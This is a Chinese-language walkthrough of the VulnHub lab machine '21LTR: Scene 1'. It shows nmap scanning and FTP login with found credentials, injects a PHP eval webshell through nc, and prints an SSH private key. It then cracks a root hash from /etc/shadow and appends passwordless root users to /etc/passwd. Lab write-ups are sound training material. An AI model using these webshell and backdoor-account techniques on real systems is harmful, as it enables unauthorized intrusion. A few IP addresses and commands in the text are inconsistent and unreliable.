-
✨ 准备工作
-
靶机 && kali 环境要求
机器名 网络配置 靶机 21LTR.com_Scene1_2.120_v1.0 仅主机模式 攻击机 kali 仅主机模式 -
配置步骤
靶机
- 靶机下载链接:21LTR: Scene 1 ~ VulnHub
- 下载后VMware - 右键 - 点击 新建虚拟机
- 选择 典型 - 浏览 到虚拟机下载的位置 - 点击 下一步
- 选择Linux ,Ubuntu - 下一步 - 虚拟机名称和位置自定义
- 后面,默认下一步,直到 完成 即可
- 完成后 - 修改为 仅主机模式
- 启动后,在网络适配器中查看MAC地址
- 重启靶机
kali
- 右击kali选择 设置
- 网络适配器设为 仅主机模式 后,点击 确定
- 至此环境配置完毕
-
☄️ 信息收集
-
确认仅主机网段
-
可以看到仅主机是
192.168.204.0/24
网段的 -
kali 执行命令
sudo nmap -sn -PR 192.168.204.0/24
-
发现 IP 为
192.168.204.136
-
使用namp进行端口扫描:
nmap -p- 192.168.204.136
-
发现开放 21,22,80端口,测试访问80端口
-
🌠 获取shell
-
Burp抓包时,偶然发现了账号和密码
账号:logs 密码:zg]E-b0]+8:(58G
-
进行测试后,发现是FTP的密码
-
FTP连接方式(有多种,这里列举2种常用的)
-
坑点:"连接不上" 和 "连接上却无法下载其中的文件"
-
解决方法:需在本机和 kali 间尝试下面2种方式,寻找一种稳定的可连接下载方式
-
连接方式 具体步骤 文件夹输入 ftp://ip - 推荐:使用kali进行连接,读取和下载,因为其他方式可能出现问题,下面会一一列举
- kali打开任意文件夹,输入
-
ftp://192.168.204.136/
- 选择Registered User 输入账号密码
-
账号:logs 密码:zg]E-b0]+8:(58G
- 查看到对方文件
- 直接拖拽到自己的文件夹即可(用完后不要关闭,后续会查看是否写入)
- PS:本机连接同理,但可能出现读不到文件的情况(刷新无用)
cmd 输入 ftp ip; - 连接并查看文件
-
# 连接目标靶机 ftp 192.168.204.136 # 账号 logs # 密码 zg]E-b0]+8:(58G # 查看当前目录下的文件 ls
- PS:
- 这里我用本机可以连接,但无法下载
- 使用kali连接不上
-
查看当前目录,发现其中只有一个
backup_log.php
-
查看文件内容,可以发现是一个记录日志的html页面
-
既然如此就找找这个页面吧,进行目录扫描(工具任意)
-
这里我自己直接用kali的dirsearch进行扫描了
-
PS:如果你使用kali上的dirsearch工具可能会报错,原因是你并没有安装这个工具,这时你可以将网络适配器切换为除仅主机模式外的模式,执行
dirsearch
,先进行安装,再执行下面的命令dirsearch -u http://192.168.204.136/
-
-
发现一个疑似存放日志的文件夹
-
尝试拼接访问
http://靶机IP/logs/backup_log.php
-
发现没有问题,并且看起来
192.168.2.240
这个IP会与靶机进行通信 -
我们将本机的IP更改为
192.168.2.240
进行尝试(改kali的有些麻烦) -
按
Win + R
键打开运行对话框,输入ncpa.cpl
并按回车 -
打开如下界面
-
修改 除仅主机外的任意的VMnet
- PS:判断仅主机VMnet 的方式可以在vmware的 编辑 - 虚拟网络编辑器 里看到(与上述 信息收集 一开始的内容一致)
- 我这里仅主机为 VMnet 1,那我只能修改 除VMnet 1以外的网卡,这里修改VMnet 8
-
右击 - 选择属性
-
点击 协议版本4 - 属性 - 使用下面的IP地址 - 填入 192.165.2.240 - 子网掩码 255.255.255.0 - 确定
192.165.2.240 255.255.255.0
-
这时候wireshark抓包,看了看发现 VMnet 8(192.165.2.240)确实在干些什么,但具体在干什么也不清楚
-
想到再扫一下 靶机的端口,看看有什么变化
nmap -p- 192.168.204.136
-
发现比之前多开放了2个端口(10001,49013)(这里根据网络情况可能需要等待一会儿)
-
连接方式(任选其一)
-
nc 工具连接 - 适用环境:Windows(需下载工具),kali
-
使用 nc 工具 连接并写入一句话木马
-
nc -nv 192.168.204.136 10001 <?php @eval($_POST['cm']);?>
telent连接(kali) - 适用环境:kali
- 执行
telnet
命令,并写入一句话木马 -
nc -nv 192.168.204.136 10001 <?php @eval($_POST['cm']);?>
-
查看靶机的
backup_log.php
文件,发现写入成功(这里会有一些延时,大概30秒才会记录) -
通过蚁剑进行连接即可
-
尝试执行命令,发现并非root权限
-
接下来就是提权,想到还有一个ssh服务没派上用场
-
💫 权限提升(3)
-
先在蚁剑上找一波 id_rsa 文件
find / -name id_rsa
-
找到3个有权限访问的
/mnt/live/memory/changes/media/USB_1/Stuff/Keys/id_rsa /mnt/sr0/slax/rootcopy/media/USB_1/Stuff/Keys/id_rsa /media/USB_1/Stuff/Keys/id_rsa # 发现其中的内容是一样的 -----BEGIN RSA PRIVATE KEY----- MIIEoQIBAAKCAQEA1pfb/CVukUw4Xe67YLEZzVHWNax0zJjI1CfcsoEGylmmtlA6 iXHi41nLshzXu9n536JfM9LFAWGqefBVX7Bzd/fC4+jHS3q89IK9FP7gFPwEmlNH CwPX0ADxDFyB1lJOFffJ9gVw3VgHCaCPgS70UqJD0hZFDMSDMoBa91PylFQR0m58 nMq8DsGRbeC5hTdpLXKfBuW8v/lFuNEWVWNcZDie82aiJg8WRUUIrzeGZSR3+cG1 hi6za67VIi+ce8fFuBvIgaEpvJ0JSIX7zPLUV10ezW1NQRNplKSam3TIYI3+Ywuh lcgpEyliHYReN6v91+um2c6LNy9y/vx2Akci5QIBIwKCAQEAvhF5s3GcchBPLqA/ kCfVBk/MW2zcerM1iLWXlsoNVCOFB+Co4CMKyV4pcd8IOKsfJSlqQ9fwUa5GiUKU wne2urbf0S1CzdMcY4m9al4W7gPJkACeAnEeO+OTq9zoBvhxDCSc79ju7+7hqXD0 IfZjXyIBjjD7VHOKJWpfMtVTMunBCMqoAMa2veuN6LgDJweQNi7kon4qcj4SghGI bdBv/Cnk7PMkG+DhafTRWyXGMWFpTHV4BNKv0i+k4lVV1oP9nJnh9jglY4EkD9LD 0Yt2QZt+XMTlxScsjcBpVGc9m4ZrgmRZGV0PTyMuWJtURkDBYPizkiPjjSZfUbyZ y9QECwKBgQDsR9wLzrQbJIaOX8dG4rEt8pQHdYK7KCM8Bcq45iKKPzeLxchguM3o +y9nRz5x8RWXWZUMl7PldoqwmrKh6WVCrdJ7mghPTYx3Djhcaf8q5XFTUhZH4xhB 72g1H6+JCECUjAFfjoSTOEswCFKYssgYA22x3fvLGg3S8f0UjjE1xQKBgQDogKVg iyXCE833evccfrd/otsyVcxNincunAtYDAsqa2ZrjXL3oFwNwfC1CVKPhqDlnG46 M1tiSeYXygPbuPbHzRdu0ZuG7jRxxVdndl52gq/Zt8MKNRD9mdbFRcRMXmMRfaE4 RXdry9eB4rPywfWgJPGNVtOFZP6PRVv+IpoqoQKBgBRArHYKZzWGybRunA1j400U ytwRYvoZYhsWcHY/nI+Bwu65Lm6wwTE6GgGJw4Yb+olQ0kLoboFh7qFsWHRHNJCv 0DZ66sT4BLm/Y+qp/+275SRmHyq7sZ9AaASNr/XNgeDYzOru9Wu0XjdRK6awPQlf YSyAvc+UhNeRFbFOBDfPAoGAVlurI9vpc/i6N1mO+/SNTKo0KKOGZfGZ+16H3t/m 496/pEp7KMaIl2VKxuY0m7WpedsEXsKeSRQiQ1mpqWH1QuXG4AS2HCyXIvGG3Uk5 B3JekrH3/HocQO//UJZBmLVX/y6pmI7UlcC9wodnaMuzAPfHbwL+G5qKb7qtI+D3 busCgYATj4y+8msxNWRRNbHWAV7G0OurPDeZJ8F8NDLpM22X8fM08wgGRwkW4fpa A+J8tN2ibiDqw29W6Rc1/4evAPbo3GR932W/ELOTOpP2yquiwoSxPG+HCLHmDITr 1qGHJRSOiFzo99iS5aQRhUvdl3M0lz1Cort7hjRKUkSWcT02Rw== -----END RSA PRIVATE KEY-----
-
蚁剑回到管理页面
-
输入路径(上面3选1),双击查看
authorized_keys
文件 -
发现
ssh
连接的是hbeale
用户 -
将同目录下的
id_rsa
下载到本机(下载到kali也可以不影响) -
当前目录下执行
# 连接靶机 ssh -i id_rsa hbeale@192.168.204.136 # 确认 yes
-
权限提升
提权方式 详细步骤 SUDO提权 - 列出当前用户拥有
sudo
权限的命令 -
sudo -l
-
方式一:直接读取
/etc/shadow
- 发现
sudo cat
无需密码即可查看文件,直接查看/etc/shadow
文件 -
sudo cat /etc/shadow
- 发现root用户密码
-
$1$VW5E9DmD$deoML8uqU/4HaTmNmfM7G1
- 进行破解,得到
formula1
- 破解网站:MD5免费在线解密破解_MD5在线加密-SOMD5
- 终端切换root用户
-
# 切换 root 用户 su root # root用户密码 formula1 # 查看用户权限 id
- 提权成功
-
方式二:利用cat直接写入高权限用户
- 写入高权限用户
-
# 写入/etc/passwd sudo /usr/bin/cat >> /etc/passwd # 写入newroot 用户(管理员权限,密码为空) newroot::0:0::/root:/bin/bash # 切换写入的用户 su newroot # 查看用户权限 id
方式三:不安全的文件配置提权
- 查看
/etc/passwd
文件权限,发现文件可写 -
ls -l /etc/passwd
- 写入高权限用户
-
# 写入oldroot 用户(管理员权限,密码为空) echo 'oldroot::0:0:root:/root:/bin/bash' >> /etc/passwd # 切换写入的用户 su oldroot # 查看用户权限 id
- 列出当前用户拥有
-
🌃 环境恢复 - Windows
- 目的:有始有终,恢复本机Windows环境,避免影响正常使用
- 按
Win + R
键打开运行对话框,输入ncpa.cpl
并按回车 - 打开如下界面
- 右击修改过的网卡(我这里是VMnet 8) - 属性
- 点击 协议版本4 - 属性 - 自动获得IP地址 - 确定
- 之后正常关闭即可
-
🌌 总结
- 流程:主机发现 - 信息收集 - web渗透 - 获取shell - 权限提升
- web渗透:
-
关于靶机给出的端口信息,一般情况下靶机是不会开无用的服务的,给出的端口信息,既是提示,也是突破口;
-
通过网页源码获取可用账号密码,也算是靶机的一种常见套路了,但是这个一般挺难注意到,以后在遇到瓶颈时,可以尝试通过查看网页源代码获取可用信息;
-
FTP文件的读取和下载也是需要多做尝试的点,多换环境和方式,总会有可用的;
-
FTP文件读取+获取shell 比较少见,但也提醒了我 发现可疑文件 + 目录扫描 ,这2者是紧密关联的;
-
利用cat 写文件也是一种比较新颖的思路,可以借鉴;
-